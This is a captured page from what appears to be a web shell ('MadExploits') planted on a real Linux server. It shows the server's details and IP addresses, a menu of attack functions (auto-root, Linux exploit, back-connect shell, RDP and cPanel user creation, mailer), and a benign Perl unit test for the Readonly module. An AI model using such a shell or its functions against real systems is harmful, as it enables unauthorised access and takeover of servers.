Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.139.93.209
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Readonly-1.03 /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
array.t
2
KB
-rw-r--r--
deepa.t
1.18
KB
-rw-r--r--
deeph.t
1.23
KB
-rw-r--r--
deeps.t
1.72
KB
-rw-r--r--
docs.t
2.2
KB
-rw-r--r--
export.t
186
B
-rw-r--r--
hash.t
1.64
KB
-rw-r--r--
readonly.t
2.19
KB
-rw-r--r--
reassign.t
3.03
KB
-rw-r--r--
scalar.t
1.28
KB
-rw-r--r--
tie.t
603
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : scalar.t
#!/usr/bin/perl -I.. # Readonly scalar tests use strict; use Test::More tests => 12; # Find the module (1 test) BEGIN {use_ok('Readonly'); } sub expected { my $line = shift; $@ =~ s/\.$//; # difference between croak and die return "Modification of a read-only value attempted at " . __FILE__ . " line $line\n"; } use vars qw/$s1 $s2/; my ($ms1, $ms2); # creation (4 tests) eval {Readonly::Scalar $s1 => 13}; is $@ => '', 'Create a global scalar'; eval {Readonly::Scalar $ms1 => 31}; is $@ => '', 'Create a lexical scalar'; eval {Readonly::Scalar $s2 => undef}; is $@ => '', 'Create an undef global scalar'; eval 'Readonly::Scalar $ms2'; # must be eval string because it's a compile-time error like $@ => qr/^Not enough arguments for Readonly::Scalar/, 'Try w/o args'; # fetching (4 tests) is $s1 => 13, 'Fetch global'; is $ms1 => 31, 'Fetch lexical'; ok !defined $s2, 'Fetch undef global'; ok !defined $ms2, 'Fetch undef lexical'; # storing (2 tests) eval {$s1 = 7}; is $@ => expected(__LINE__-1), 'Error setting global'; is $s1 => 13, 'Readonly global value unchanged'; # untie (1 test) SKIP:{ skip "Can't catch 'untie' until perl 5.6", 1 if $] < 5.006; skip "Scalars not tied: XS in use", 1 if $Readonly::XSokay; eval {untie $ms1}; is $@ => expected(__LINE__-1), 'Untie'; }
Close